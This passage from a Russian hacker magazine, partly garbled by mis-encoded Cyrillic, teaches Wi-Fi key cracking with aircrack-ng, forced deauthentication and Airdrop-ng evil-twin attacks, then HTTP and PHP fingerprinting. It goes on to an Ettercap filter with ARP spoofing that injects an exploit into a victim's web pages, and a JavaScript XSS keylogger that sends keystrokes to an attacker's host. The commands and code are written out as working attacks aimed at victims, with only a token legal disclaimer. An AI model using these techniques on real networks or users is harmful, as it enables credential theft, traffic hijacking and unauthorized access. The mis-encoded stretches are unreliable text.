PC_ZONEКапитан УлиткаÂàðäðàéâèíãâ íàøåì âåêåÏåíòåñò áåñïðîâîäíûõ ñåòåé: ÷òî íîâîãî?Åùå íå òàê äàâíî äëÿ âçëîìà êëþ÷à ê áåñïðîâîäíîé ñåòè ïîòðåáîâàëîñü áû ñëåäóþùåå:îòêîìïèëèðîâàòü è óñòàíîâèòü ïîä Linux íåîáõîäèìûé ñîôò, îòûñêàòüðåäêèé áåñïðîâîäíîé àäàïòåð íà ñòðîãî îïðåäåëåííîì ÷èïñåòå è åùå, êàê ìèíèìóì,ïðîïàò÷èòü äëÿ íåãî äðàéâåðà, ÷òîáû ìîæíî áûëî èíæåêòèðîâàòü ïàêåòûâ ñåòü. Òàê ëè ýòî ñëîæíî ñåé÷àñ?ÁÅÑÏÐÎÂÎÄÍÀß ÀÇÁÓÊÀПрежде чем начать, напомню несколько важных основ пентеста беспроводныхсетей, чтобы освежить их в памяти для тех, кто с этойтемой уже знаком, и ввести в курс дела тех, кто раньше с этим вопросомне сталкивался. Последним повезло больше всех, потому какподобрать пароль для беспроводной сети, при условии, что он вообщеподбираемый, сейчас стало как никогда просто. Все упирается тольков то количество времени, которое потребуется на это потратить.Итак, беспроводные сети могут быть открытыми, к которым можетподключиться любой желающий, и закрытыми, для подключенияк которым необходимо ввести ключ. В закрытых беспроводныхсетях по-прежнему, хотя и редко, используется защита WEP (WiredEquivalent Privacy), которая безнадежно устарела, и, в большинствеслучаев, технология WPA/WPA2 (Wi-Fi Protected Access). ПрименениеWEP — это своего рода приговор, потому что такая защита со 100%вероятностью взламывается из-за фундаментальных уязвимостей.Ключ к WPA/WPA2, напротив, возможно подобрать с помощью брутфорса,причем успех напрямую зависит от того, есть ли используемыйключ в словаре для подбора или нет. Несмотря на концептуальноразные подходы к взлому этих защит есть одно общее звено — дляпроведения атаки необходимо перехватить беспроводной трафик всети. С этой задачей справляются специально заточенные для работыс Wi-Fi-снифферы, в том числе утилита airodump, которая являетсясвоего рода стандартом де-факто. Правда, просто запустить сниффери сохранить в дамп зашифрованные данные из эфира недостаточно.Обязательным требованием является перехват пакетов, которымиклиент обменивается с точкой доступа в момент подключения. Вслучае с WEP — это так называемые вектора инициализации IV, а вслучае с WPA/WPA — последовательность «WPA Handshake». Толькоэти и другие пакеты, отвечающие за аутентификацию и поддержание034соединения, передаются в эфир в открытом виде без шифрования.Загвоздка заключается в том, что клиент авторизуется на точке доступадовольно редко, и этого момента в общем случае пришлось быждать очень долго. Однако если отправить в сеть специально составленныйпакет деаунтетификации, то он с большой вероятностьюотключит клиента от AP и вынудит его подключиться к ней вновь. Дляэтого есть специальные утилиты. Авторитетная aireplay — одна из них.Тут надо сказать, что инжектировать фреймы возможно, если перевестибеспроводной адаптер в так называемый режим мониторинга(monitor mode), а под виндой сделать это практически невозможно.По этой причине и сложилось, что стандартной платформой для игрс Wi-Fi являются *nix-системы. Проще всего эксперименты даются спомощью небезызвестного Backtrack, в который изначально включеновсе необходимое. Причем для запуска потребуется лишь сделатьиз дистрибутива загрузочную флешку с помощью утилиты UNetbootin(unetbootin.sourceforge.net). Возвращаясь к теории: когда на рукахесть дамп с перехваченными пакетами, в бой вступает утилитанепосредственно для взлома ключа. Тут есть разные варианты,но среди прочих выделяется классическая тулза aircrack, котораяиспользует несколько алгоритмов для взлома WEP, а также методбрутфорса для WPA/WPA2. Если все проходит хорошо, на выходепрограммы пентестер получает ключ для беспроводной сети.Примечательно, что все три утилиты airodump, aireplay и aircrackвходят в один пакет утилит Aircrack-ng (aircrack-ng.org).WI-FI CRACKERИз всего этого вырисовывается вполне понятная схема для взломаключа к беспроводной сети (для определенности, пусть она будетзащищена WPA2). Предварительно беспроводной адаптер переводитсяв режим мониторинга. После этого запускается airodump,XÀÊÅÐ 08 /139/ 10


Простенький скрипт на Python избавляетот геморроячтобы в целом изучить эфир и определить доступные сети. Далее вход идет сниффер для перехвата данных беспроводных клиентов истрого определенной точки доступа (она указывается по MAC-адресу)на заданном канале, а в сеть с помощью aireplay отправляется deuthпакет,чтобы отключить от точки доступа какого-нибудь пользователя(опять же, по MAC'у). Как только сниффер сообщает о перехватепоследовательности WPA Handshake, дамп сниффера скармливаетсякрякеру aircrack, который в свою очередь пытается подобрать ключ пословарю. Все очень просто, но довольно муторно и не очень удобно.Все утилиты консольные, поэтому постоянно приходится ковыряться спередаваемыми ключами для запуска, копировать туда-сюда нужныеMAC-адреса, названия дампов. Перед атакой еще неплохо изменитьсвой собственный MAС с помощью тулзы macchanger, а чтобы отсоединитьпользователя от точки доступа, тулзу aireplay зачастую приходитсязапускать несколько раз. И если раньше приходилось делатьÊÀÊÎÉ ÁÅÑÏÐÎÂÎÄÍÎÉ ÀÄÀÏÒÅÐ ÍÓÆÅÍ ÄËß ÂÇËÎÌÀ?Перед тем, как экспериментировать, нужно убедиться, что беспроводнойадаптер может работать в режиме мониторинга.Лучший способ — свериться со списком поддерживаемого оборудованияна сайте проекта Aircrack-ng (bit.ly/wifi_adapter_list).Если же встанет вопрос о том, какой беспроводный модулькупить, то начать можно с любого адаптера на чипсетеRTL8187L. USB’шные донглы легко найти в интернете за $20.Китайский кит для взлома Wi-FiXÀÊÅÐ 08 /139/ 10Новая версия SpoonWPA, которая вот-вотпоявится в Сетивсе вручную, то сейчас процесс можно без труда автоматизировать спомощью готовых решений.1. AUTOMATIC WPA HANDSHAKE CAPTURE (code.google.com/p/svtoolz).Это очень простой, написанный на Python'е скрипт, который ты легкомог бы набросать и сам. Все, что он делает — это последовательновыполняет те самые действия для получения WPA hanshake'а, которыея только что описал. Запускает одну программу с нужными параметрами,обрабатывает ее вывод, формирует ключи для запуска следующейутилиты и т.д. От пользователя требуется только указать названиеинтерфейса (например, mon0), канал, MAC-адреса точки доступа иклиента, а на выходе получить dump-трафика с Handshake'ом.2. SPOONWEP/SPOONWPA (forums.remote-exploit.org). Эти две утилитывпервые появились в Backtrack3 и тут же стали популярными.Что легко понять: с этого момента для подбора ключа к беспроводнойсети вообще пропала необходимость ковыряться в консоли. Посути, все, что позволяют делать SpoonWep/SpoonWpa — это удобноуправлять тулзами из набора aircrack-ng с помощью графическогоинтерфейса и выполнять часть действий автоматически. Но это ни вкоем случае не отнимает необходимости понимать, что происходит вовремя атаки. Пользователю точно так же необходимо вручную указыватьтот же самый канал, на котором работает точка доступа, правда,не в виде параметра для запуска приложения, а с помощью графическогоползунка.3. GERIX WIFI CRACKER (forums.remote-exploit.org). Большое количествонедоработок, которые оказались в SpoonWep/SpoonWpa, заставиласоставителей Backtrack'а отказаться от них в четвертом релизедистрибутива. Но свято место, как известно, пусто не бывает, и назамену пришла замечательная тулза Gerix Wifi cracker. Это не автоматическийвзломщик сети, но очень профессиональный помощник,упрощающий многие моменты. Что нужно делать самому пользователю:на вкладке «Configuration» вручную выбрать беспроводнойинтерфейс (не забыв перевести его в режим мониторинга с помощьюспециальной опции) и далее в списке, где приведен вывод сниффера,указать беспроводную сеть для взлома. После этого, в общем-то, остаетсянажать кнопки «Start Sniffing and Logging» и «Perform a test ofinjection AP» на вкладках WEP или WPA, в зависимости от используемойв сети защиты. Еще одна вкладка — Fake AP — позволяет мигомсоздать на нужном канале фейковую точку доступа — это фронтед дляконсольной утилиты airbase-ng.ÂËÀÑÒÅËÈÍ ÁÅÑÏÐÎÂÎÄÍÛÕ ÓÑÒÐÎÉÑÒÂВажной составляющей любой атаки, как уже было сказано, являетсяотключение беспроводного клиента от точки доступа, чтобы он заново035


PC_ZONEПодробные логи Airdrop-ngбыло указать только первые три составляющие, которые, как известно,закрепляются за конкретными производителями. Более того, можнодаже задать название вендора в строковом виде (d/Linksys|any): программав этом случае сама заглянет в базу Company OUI, где найдетÊÎÌÏËÅÊÒÛ ÄËß ÂÇËÎÌÀ WI-FI ÄËß ËÅÍÈÂÛÕGerix Wifi cracker из стандартного набораBacktrack 4подконнектился и обменялся пакетами авторизации. Утилиты aireplayng,mdk3, Void11 — все, по сути, предназначены для одного и тогоже — отправки в беспроводную сеть пакета деаутентификации, чтобыразорвать коннект между клиентом и AP. Они написаны несколько летназад, и до сих пор активно используются. Концептуально новая разработкабыла представлена в начале года в Вашингтоне на конференцииShmoocon — это тулза Airdrop-ng.Что она позволяет сделать? Сказать по правде — почувствовать себямаленьким властелином. Дело тут не ограничивается только отключениемклиента от точки доступа. Нет. Вместо этого ты можешь полностьюуправлять подключениями пользователей, разрешая или полностьюзапрещая им подключения к точке доступа. Политика задаетсяс помощью правил, вроде тех, которые используются в файер воле.Причем это могут быть очень гибкие правила, позволяющие реализоватьвсе что угодно. Начиная от того, что разом отключить всехпользователей от любых точек доступа (и препятствования их подключениювновь), и заканчивая сложными правилами, когда коннектразрешается только для строго определенной точки доступа, но и тотолько для конкретных клиентов (скажем, для ноутбуков компанииDell). Это очень круто.Правила записываются в текстовом виде в специальный файл и считываютсяпрограммой последовательно от первого до последнего.Каждое правило состоит из трех полей: action/ap/client. С помощьюполя action правила разделяются на разрешающие (a — allow) изапрещающие (d — deny). Параметры «ap» и «client» указывают соответственнона точку доступа и клиентов, к которым это правило применяется.Общий синтаксис такой:a(allow)/bssid mac(or 'any')|client mac(or 'any')èëèd(deny)/bssid mac(or 'any')|client mac(or 'any')Дистрибутив Backtrack –это, по большому счету, готовый сборниксофта для тех, кто не хочет париться с поиском утилит дляпентеста. Но если говорить о взломе Wi-Fi, то сборники бываютне только программ, но и оборудования.1. В MegaNews прошлого номера мы упоминали о готовых комплектахдевайсов для взлома Wi-Fi, которые активно продаютсяв Китае под лозунгом «Интернет должен быть бесплатен».Собственно, сам комплект состоит из дешевой узконаправленнойантенны, Wi-Fi USB-модуля, к которому можно подключитьантенну, диска с записанным Backtrack’ом и подробной иллюстрированнойинструкции о том, как подобрать ключ с помощьюутилит Spoonwep/Spoonwpa. Собрать такой комплект ничегоне стоит самому. Главное — приобрести беспроводный модуль;дешевле всего он обойдется, если покупать на известной китайскойонлайн-барахолке dealextreme.com. Что касается антенны,то ее вообще можно сделать самому по схемам с сайтов nag.ruи lan23.ru.2. Не в пример Китаю, в Штатах продается девайс, которыйнамного более технологичен — это WiFi Pineapple (WiFiPineapple). В двух словах — это хардварная реализация атакиRogue AP. Внутри небольшого игрушечного ананаса размещаетсяточка доступа с хитрым софтом, который «заманивает» клиентови снимает трафик. Автономная работа «ананаса» достигаетсяза счет 4-х пальчиковых батареек. Стоимость такой игрушкисоставляет $144, но разработчиками только приветствует ся,если люди собирают девайс сами. В качестве основы взятадешевая точка доступа Fon 2100 (www.fon.com) с беспроводнойкартой на чипсете Atheros, держатель для батареек из онлайнмагазинарадиотехники (bit.ly/onoffswitch), а в качестве ПОиспользуется специальная версия утилиты KARMA — Jasager(www.digininja.org/jasager). На сайте www.hak5.org/w/index.php/Jasager даже приведена подробная инструкция по сборке инастройке.По умолчанию Airdrop-ng пропускает весь беспроводной трафик, чтоне сильно весело.Возьмем для примера простое правило: d/00-11-22-33-44-55|any. Онобудет запрещать любым (any) клиентам подключаться к точке доступа,у которой MAC-адрес — 00:11:22:33:44:55. Вместо целого MAC'а можноПодставная точка доступа036 XÀÊÅÐ 08 /139/ 10


соответствие «производитель — MAC-адрес» и подставитнужное значение. Те же самые правила относятся иклиенту. К примеру, так можно ограничить возможностьWi-Fi для всей продукции Apple: d/any|Apple. Еще однаособенность: в параметре client может быть указан списокиз разных MAC-адресов, например, 11:22:33:44:55:66,00:11:22:33:44:55,55:44:33:22:11:0. Теперь посмотрим, как этовыглядит на практике.ÊÀÊ ÏÎËÜÇÎÂÀÒÜÑß AIRDROP-NGAirdrop-ng написан на Python и требует для работыустановленный airodump-ng и библиотеку Lorcon 1. Ноесли использовать Backtrack, то все необходимое и самаутилита без проблем установится из стандартного репозитория:apt-get updateapt-get install airdrop-ngВ Backtrack 4 есть и драйверы, и софт для пентеста Wi-FiСхема использования мало чем отличается от знакомыхнам атак:1) Первым делом надо перевести Wi-Fi-карту в режиммониторинга:airmon-ng start wlan02) Далее запустить беспроводный сниффер airodump,сконфигурировав его вывод в .csv-файл:airodump-ng -w dumpfile --output-format csvmon03) После этого создаем файл с правилами для AirDrop.Возьмем для примера описанное выше правило, запрещающеесоединения с AP, у которой mac = 00-11-22-33-44-55, и запишем его в файл rules:nano rulesd/00-11-22-33-44-55|any4) Все, осталось запустить сам airdrop-ng, прилинковавшиськ csv-выводу сниффера и конфигу с правилами:airdrop-ng -i mon0 -t dumpfile.csv -r rulesУтилита начнет свою работу, выводя сообщения оботправленных в сеть пакетах. Если помимо прочегоуказать ключ "-b", дополнительно будет выводиться подробныйотчет. В результате на консоль будут выводитьсясообщения, каким клиентам и где было разрешено илизапрещено соединение. Как я уже сказал, условия могутбыть намного более гибкими, это достигается с помощьюкаскада правил:#Allow-ïðàâèëîa/00-11-22-33-44-55|55-44-33-22-11-00#Deny-ïðàâèëîd/00-11-22-33-44-55|anyТаким образом, мы разрешаем доступ к точке клиенту сMAC-адресом 55-44-33-22-11-00, в то время как для всехостальных соединение по-прежнему останется недоступным.Получается, Airdrop-ng можно использовать какпростейшую систему контроля доступа :). И это без какоголибодоступа к админке точки!EVIL TWINS V2.0Опытные умы, наверное, уже догадались, какие возможностипредоставляет Airdrop-ng в плане проведения MITMатаки.Раз мы можем влиять на то, с какими AP имеетвозможность работать беспроводной клиент, никто немешает направлять его подключения к нашей особеннойточке доступа, а на ней снифать весь проходящий трафик.Человек видит на ноутбуке сеть «Free Wi-Fi», подключаетсяк ней и никогда не подозревает, что это вовсе не точкадоступа заведения, в котором он находится, а подставнаяAP-шка, развернутая на ноутбуке с соседнего стола. АтакаEvil Twins (или Rogue AP) известна еще с 2004 года иосновывается на небезопасном поведении беспроводныхклиентов. В людном месте с помощью специальногософта поднимается точка доступа, которая отвечает на всеprobe-запросы, в которых клиент просит отозваться точкидоступа с указанными параметрами. Фальшивой точке,как правило, устанавливается ESSID той беспроводнойсети, которая легитимно развернута внутри помещения,поэтому клиент, ничего не подозревая, подключается кней. Раньше многое зависело от уровня сигнала, которыйты можешь предложить: чем он выше, тем большешансов, что клиент подключится именно к твоей точкедоступа. Сейчас же, когда появился способ насильноподключить клиента к своей AP, эта атака выводится насовершенно новый уровень. Для последнего потребуетсяAirdrop-ng и два правила, запрещающие соединение слюбыми AP, кроме фейковой (пусть у нее IP будет равен00:aa:bb:cc:dd:ee):a/00:aa:bb:cc:dd:ee|anyd/any|anyДалее дело за традиционным софтом для проведенияатаки Rogue AP. Методика впервые была реализована втулзе KARMA еще в 2004 году. Позже проект был реализованкак модуль Metasploit, и получившийся Karmetasploit(bit.ly/Karmetasploit) сейчас является одним из наиболееудачных решений для проведений атаки. Подробностииспользования доступны на сайте проекта. Пригодитсятакже опыт разработчиков Airdrop-ng, который можнопочерпнуть из их презентации на Shmoocon (www.shmoocon.org/2010/slides/wifibomb.zip). Хотя есть и другой,более простой и изящный способ — воспользоваться специальнымдевайсом, о котором ты можешь прочитать воврезке. Но он по понятным причинам и более дорогой.zWARNINGinfoВся информацияпредставленаисключительно вознакомительныхцелях. Вмешательствов работу чужойбеспроводной сети,во-первых, может вызватьнедовольство еехозяина, а, во-вторых,нарушае т УК РФ. Имейголову на плечах.Автор и редакция затвои действия ответственностине несет.XÀÊÅÐ 08 /139/ 10037


ВЗЛОМТюрин «GreenDog» Алексей agrrrdog@gmail.comEasy HackХАКЕРСКИЕСЕКРЕТЫПРОСТЫХВЕЩЕЙОтветы от различных HTTPсерверов.Видна разницав порядке полей, etag’е,регистре.Пример применения httprint’а.¹ 1ЗАДАЧА: ОПРЕДЕЛИТЬ ВЕРСИЮ HTTP-СЕРВЕРАРЕШЕНИЕ:В недавнем номере ][ была хорошая статья, в которой описана тема сокрытия/изменениябаннеров для различных сервисов, будь то FTP- илиHTTP-сервер. Но, чтобы ты был всесторонне вооружен, поведаю тебе оболее продвинутых методах детекта ПО. В этом номере о HTTP-серверах.Конечно, строчка «Server» в заголовке — это хорошо. Но на нее слишкомлегко повлиять. Что же у нас есть еще? Достаточно многое. Суть в том,что разные веб-серверы по-разному поступают в различных ситуациях.То есть мы посылаем различные запросы серверам, а они по-разномуотвечают. В основном это связано с неопределенностями RFC и/илиотклонением от них. Поэтому можно составить определенные отпечатки(fingerprint) каждого HTTP-сервера, иногда до конкретной версии.Есть и пассивные методы, и активные. Активные — более точные, нотребуют посыла (не)стандартных запросов, которые можно обнаружить.Вот некоторые способы фингерпринта:• Ïîðÿäîê ïîëåé â îòâåòå HTTP-ñåðâåðà;• Ðàçëè÷íûå îòâåòû ñåðâåðà íà çàïðîñû âèäà:DELETE / HTTP/1.0 — «çàïðåùåííûé» ìåòîä;GET / HTTP/3.0 — «íîâûé» âåðñèÿ ïðîòîêîëà;GET / LALA/1.0 — íåñòàíäàðòíûé ïðîòîêîë;HEAD / — íåêîððåêòíûé çàïðîñ;И так далее.• Ðàçëè÷èÿ â ïîðÿäêå ñëîâ, ðåãèñòðå â ðàçëè÷íûõ îòâåòàõâåá-ñåðâåðà;• Ðàçëè÷íûå òåêñòû îøèáî÷íûõ (404, íàïðèìåð) ñòðàíèö;• Ñïåöèôè÷íûå äëÿâåá-ñåðâåðà ïîëÿ âîòâåòå;• Ðåàêöèÿ ñåðâåðà âçàâèñèìîñòè îò äëèíûçàïðîñà;• È ïðî÷åå.То есть, на первый взгляд, способов очень много.Таким образом, мы можем достаточно точно выделить отпечаток каждоговеб-сервера.Общая идея, я думаю, понятна. На практике же есть множество тулзов.Например, httprint под win/nix и входящий в BT 4 (net-square.com/httprint/), опенсорсный httprecon под win (computec.ch/projekte/httprecon/. Поговаривают, что одна из лучших :). Обе приложены надиске.Разница между ними, в основном, в количестве и качестве используемыхтестов и логике, по которой они определяют важность «прохождения»веб-сервером какого-то теста. Ведь понятно, что точность определенияверсии сервера по отпечаткам имеет вероятностный характер иво многом основывается на методе выставления оценок за прохождениекаждого из тестов, проводимых программой.Кстати, даже с учетом глубокого изменения каких-то характеристик вебсервера,определить версию можно. Например, есть net-square.com/httprint/httprint_paper.html для модуля ServerMask к IIS.Есть также и онлайн-фингерпринтер веб-серверов (и не только) — этоwww.netcraft.com.Дальнейшие примеры приводить не буду — проги слишком просты.Но для более четкого понимания (лучше один раз потрогать, чем 100раз увидеть :)) советую поиграться с любой из этих программ и какимнибудьсниффером. Серверы можно найти на shodanhq.com. Теориюна простых примерах можно почерпнуть тут — ujeni.murkyroc.com/hmap/. База ответов на различные запросы — computec.ch/projekte/httprecon/?s=database.Следует также упомянуть, что HTTP-фингерпринт очень нежелательнопроводить через HTTP-прокси, так как последний может сильно изменитьответ от сервера.038 XÀÊÅÐ 08 /139/ 10


¹ 2ЗАДАЧА: ОПРЕДЕЛИТЬ ИСПОЛЬЗОВА-НИЕ PHP И ЕГО ВЕРСИЮ НА УДАЛЕННОМСЕРВЕРЕ.РЕШЕНИЕ:Задача нетрудная, но в некоторых случаях бывает необходима. Кпримеру, когда на серверах часто юзают mod_rewrite (если не в теме —очень лаконично описано на Википедии в статье «ЧПУ_Интернет»).Зачем версия? К примеру, сам PHP имеет внутренние уязвимости,которыми можно воспользоваться. В этом можно убедиться, порыскавна exploit-db.com. Можно посмотреть заголовок от веб-сервера, гденаряду с его баннером может быть и инфа о PHP.Но есть другой забавный способ. А именно — «пасхальные яйца» отсоздателей PHP. Причем они применимы к любым PHP-скриптам,даже с ошибками в стиле Fatal Error. Пишем любой из пунктов к любомускрипту:ñêðèïò.php?=PHPE9568F36-D428-11d2-A769-00AA001ACF42ñêðèïò.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42ñêðèïò.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42ñêðèïò.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000ñêðèïò.php?=SUHO8567F54-D428-14d2-A769-00DA302A5F18Первый — забавная картинка, второй — лого PHP, потом лого ZEND,список авторов, лого от Suhosin (добавка к PHP). Причем отображениепервого пункта сильно меняется в зависимости от версии PHP.Соответствие и описание «почему оно так» можно найти на www.0php.com/php_easter_egg.php.Жаль, что отключается эта фича тем же, чем и добавление в ответсервера заголовка о PHP, а именно — установкой «expose_php=off» вphp.ini.Корявый значок на ВКЗабавные картинки в PHP¹ 3ЗАДАЧА: ПОДСУНУТЬ ЖЕРТВЕ СВОЙСПЛОЙТ, ИСПОЛЬЗУЯ ФИЛЬТРЫETTERCAP.Для точности буду рассказывать о консольной версии Ettercap, входящейв BackTrack 4.Приступим. Создаем текстовый файлик «http_filter.txt» и пишем в негоследующий код — фильтр на HTTP-трафик.РЕШЕНИЕ:Продолжу тему атак обычных юзеров. Ситуация та же — «доступен» толькобраузер пользователя, а нам требуется «заставить» перейти его на нашустраницу с эксплойтом. Представим, что мы находимся с ним в однойподсети, так как нам снова понадобится возможность доступа к трафику.Но на сей раз воспользуемся такой хорошей вещью как «Ettercap NG». Чтоприятно — есть и GUI’шный интерфейс, и консольная версия. Последняяверсия — 0.7.3. На сайте ettercap.sourceforge.net есть исходники как подразные виды nix’ов, так и под винду. В общем, это сниффер, наделенныйважными и нужными для нас возможностями. В их число входят://Åñëè ïðîòîêîë – TCP, óäàëåííûé ïîðò – 80if (ip.proto == TCP && tcp.dst == 80) {Ettercap NG. Предварительное сканирование подсетки и начало атаки.• Âûíèìàíèå è, åñëè íàäî, ðàñøèôðîâûâàíèå ëîãèíîâ è ïàðîëåéê áîëüøîìó ÷èñëó ïðîòîêîëîâ;• Ìîäèôèêàöèÿ ïåðåäàâàåìûõ â îáîèõ íàïðàâëåíèÿõ ïàêåòîâ;• Ïðîâåäåíèå Man in the Middle àòàê (MitM);• Ïàññèâíûé àíàëèç òðàôèêà ñ ôèíãåðïðèíòîì ÎÑ, ñåðâèñîâõîñòîâ.К тому же, Ettercap расширяет свой функционал за счет всевозможныхплагинов.Но для данной задачи нам потребуются его возможности по поиску имодификации данных TCP/IP-пакетов на «живом» трафике.Общая идея такова: во-первых, получаем доступ к трафику; во-вторых,устанавливаем фильтр для Ettercap’а на модификацию HTTP-ответовот серверов, куда жертва заходит. Модификация будет заключаться вдобавлении либо сплойта, либо ссылки на сплойт.XÀÊÅÐ 08 /139/ 10 039


ВЗЛОМ//Èùåì ñòðîêóif (search(DATA.data, "Accept-Encoding")) {//Çàìåíÿåì íà ìóñîðreplace("Accept-Encoding", "Blabla-Blahblah");//Ìåññàãà äëÿ íàñmsg("Accept-Encoding field has been changed\n");}}//Åñëè ïðîòîêîë – TCP, èñõîäÿùèé ïîðò – 80if (ip.proto == TCP && tcp.src == 80) {replace("", " \" ");// Ìåíÿåì îòâåò ñåðâåðà – HTML-ñòðàíèöó, ïîäñòàâëÿÿêàêîé-òî ñâîé ñïëîéòreplace(""," ");msg("Success!\n"); //Ìåññàãà äëÿ íàñ}плюс — они присутствуют почти на всех HTML-страничках в единичномчисле, что повысит шансы на успешную эксплуатацию уязвимости прималом количестве запросов к нашему серваку. Но все зависит от ситуации,браузера жертвы и т.д. Еще пара моментов: функция «replace»регистрозависима, то есть можно повторить искомые строчки в разныхрегистрах, а функция «msg» выводит нам сообщения в логах, чтобы мызнали, когда правило задействовалось.Далее требуется переварить наш текстовый файл с фильтром в удобоваримыйдля Ettercap’a вид. Пишем в консоли:etterfilter http_filter.txt -o http_filter.efГде http_filter.txt — наш файл с фильтром, а в «-o http_filter.ef» указываемимя будущего Еttercap-фильтра (необязательная опция).Далее запускаем сам Ettercap.ettercap -T -F http_filter.ef -M ARP /192.168.0.1/Для создания фильтров к Ettercap существует примитивный «язык»,которым мы и воспользовались. Здесь мы создали два «правила».Первое применяется к пакетам, отправленным на 80 порт по протоколуTCP. Обычно это запросы браузера на открытие той или иной страницывеб-серверу. В них ищем строчку «Accept-Encoding» (поле стандартногоHTTP-заголовка, посылаемого браузером) и меняем ее на любойдругой текст того же размера (это важно). Требуется это, потому чтообычно в «Accept-Encoding» указывается, что ответы от веб-сервераможно сжимать. Но по сжатым данным мы не сможем провести необходимоенам изменение HTML-страниц. Поэтому мы меняем это поле начто-нибудь другое. Сервер же при разборе пропустит это кривое полеи ответит нам в несжатом виде. Второе правило применяется уже кпринимаемым данным. Ситуация похожая. Делаем выборку пакетов отвеб-сервера (протокол TCP, исходящий порт — 80). И меняем строчки«», «» на либо яваскриптовский, либо рисунок-сплойт,не суть важно. Почему именно эти теги будем менять? У них есть одинГде опция «-T» указывает на то, что мы запускаем текстовую версиюEttercap; «-F http_filter.ef» — подключаем полученный от Etterfilterфильтр; «-M ARP /192.168.0.1/» — указываем Ettercap, что требуетсязапустить MitM атаку, а именно — arp-спуфинг (в Ettercap входит ещенесколько классических атак). 192.168.0.1– IP шлюза. Кроме встроенности,бонусы использования встроенного arp-спуффинга еще и втом, что после своей работы сниффер восстанавливает ARP таблицы,посылая правильные значения, к тому же не надо заморачиваться средиректами. В итоге Ettercap будет фильтровать трафик от нашейжертвы, добавляя в конец каждой HTML’ки наш сплойт. Как понимаешь,Ettercap — тулза крутая. Особенно с возможностями фильтров, аони широки. Это и изменение, декодирование пакетов, и использованиерегекспов, и запуск команд... Основную инфу можно почерпнутьиз man’ов и прилагаемых к Ettercap’у примеров. Кстати, если будешьразбираться с этой тулзой, то помни, что она не сниффит трафик,посылаемый машиной, на которой она установлена.¹ 4ЗАДАЧА: ОБЛЕГЧИТЬ СБОРИНФОРМАЦИИ.РЕШЕНИЕ:В своих околохакерских или житейских делах мы часто сталкиваемсяс необходимостью поиска информации. Будь то сбор информации окаком-то сервере или поиски какого-то эксплойта (или поиски любви :)).Я уверен, что каждый из нас имеет кучку закладок к основным ресурсамдля этого. Также есть всевозможные плагины для ускорения этого дела.Но в обоих случаях ты привязываешься к определенному компьютеру/софту (особенно когда пользуешься разными браузерами). Есть, конечно,решения этой трудности, но... Хочу поделиться находкой, котораячрезвычайно порадовала меня — сервис на http://yehg.net/q. По сути,это агрегатор кучи всевозможных поисковых (и не только) систем.Ввел что-то в строку поиска и снизу увидел выборку с гугла, один клик— и уже с вики. Но это не было бы настолько интересно, если бы не двевещи. Во-первых, yehg — это хакерская группа, потому и сервис заточенпод задачи, связанные с информационной безопасностью. Поэтому тут ипоисковики по сплойтам, уязвимостям, и всяческие whois’ы да портсканеры,кодеры/декодеры и т.д. Кстати, очень советую просмотреть весьнабор сайтов. Подборка действительно хороша, на все случаи жизни,как говорится. Можно что-то для себя выделить, запомнить.Второй же плюс заключается в том, что это — общедоступный «веб-агрегатор»поисковиков (gosu.pl/wsa/). Он очень простой, так как используеттолько JavaScript и фреймы. То есть может работать даже локально ине привязан к браузеру.Поэтому его можно быстро и легко настроить под себя.Для того, чтобы добавить какой-то поисковик, требуется всего лишьвставить строчку в HTML’ку агрегатора. Например, добавим поиск посайту журнала. Ищем и добавляем:CATS["General"] = {…Прикрученный поиск по сайту xakep.ru040 XÀÊÅÐ 08 /139/ 10


"xakep": "http://www.xakep.ru/local/search/search.asp?text=%s",…};Где %s — место, куда будет вставляться та строка, которую ты ищешь.В итоге в категории «General» у нас появится пункт «xakep». Всепросто. Причем можно ввести дополнительный текст или параметрык запросу. Как это сделано, например, в поиске сплойтов по гуглу, гдедобавляется к введенному запросу «(vulnerability or vulnerabilities)OR (exploits or security holes)», и в итоге нам надо вводить тольконазвание ПО.Версия агрегатора, используемая YEHG, явно более продвинутая,чем от разработчика. Там есть и многострочное окошко для запроса,и возможность редактирования итогового запроса. К тому же поосновным сайтам поиск уже организован. Хотя она и с «мусором»(реферы на группу), удалить его не составит труда. В общем, надиске приложена именно она.¹ 5ЗАДАЧА: УКРАСТЬ ЛОГИН, ПАРОЛЬПОСРЕДСТВОМ XSS И КЕЙЛОГГЕРА.РЕШЕНИЕ:XSS бывают разные: активные, пассивные. Первые, конечно, более опасны,так как остаются на серваке, но и со вторыми можно кое-что сваять.Что очень хорошо для нас — XSS-уязвимости чрезвычайно распространены.Это связано и со сложностями защиты от них, но что важнее — собщим отношением к ним, даже у специалистов в области ИБ. Ведь многиене считают XSS за юзабельную уязвимость! Давай посмотрим. Какнасчет кейлоггера через XSS? Примитивный кейлоггер состоит из двухкомпонентов: самого JavaScript’а, отвечающего за перехват нажатий иотправку данных о них, ну и сервера, который будет принимать и сохранятьданные. Потому нам требуется левый (можно бесплатный) сервак споддержкой, например, PHP. JavaScript (код с insanesecurity.info):var keys=''; //îïðåäåëÿåì ïåðåìåííóþdocument.onkeypress = function(e) {//ïåðåõâàòûâàåì íàæàòèÿget = window.event?event:e; //ïåðåõâàòûâàåì ñîáûòèåkey = get.keyCode?get.keyCode:get.charCode;//ïîëó÷åíèå êîäà íàæàòîé êíîïêèkey = String.fromCharCode(key); //ïåðåâîä êîäà â íîðì âèäkeys+=key; //êó÷êóåì íàæàòèÿ â ñòðî÷êó}window.setInterval(function(){//îòïðàâëÿåì äàííûå ÷åðåç âðåìåííûå ïðîìåæóòêènew Image().src = 'http://òâîé_õîñò:80/keylogger.php?keys='+keys; //ïåðåäàåì äàííûå ñêðèïòókeys = ''; //ñáðàñûâàåì ïåðåìåííóþ}, 1000);Логика такова: скрипт перехватывает нажатия клавиш и сохраняет их впеременную, а через определенные промежутки времени коннектится кнашему PHP-скрипту, передавая полученную переменную в запросе.Далее заливаем на сервер PHP-скрипт:В зависимости от ситуации, пихаем либо сам код, либо ссылку на негочерез XSS на сервер или пользователю. Теперь все нажатия клавишпользователя на странице с нашим яваскриптом будут сохранены нанашем сервере.Но это был скорее показательный пример.Качественный яваскрипт-кейлоггер ты можешь взять с sourceforge.net/projects/jskeylogger/ (либо на диске). Версия 1.4. Суть здесь та же —скрипт и сервер. Но реализация гораздо лучше: при сохранении логаотмечается поле, в которое вводились данные и уникальный ID вводаданных, так что с парсингом нет вообще никаких проблем. Несколькостранно, что сервер здесь реализован в виде exe’шника на питоне. 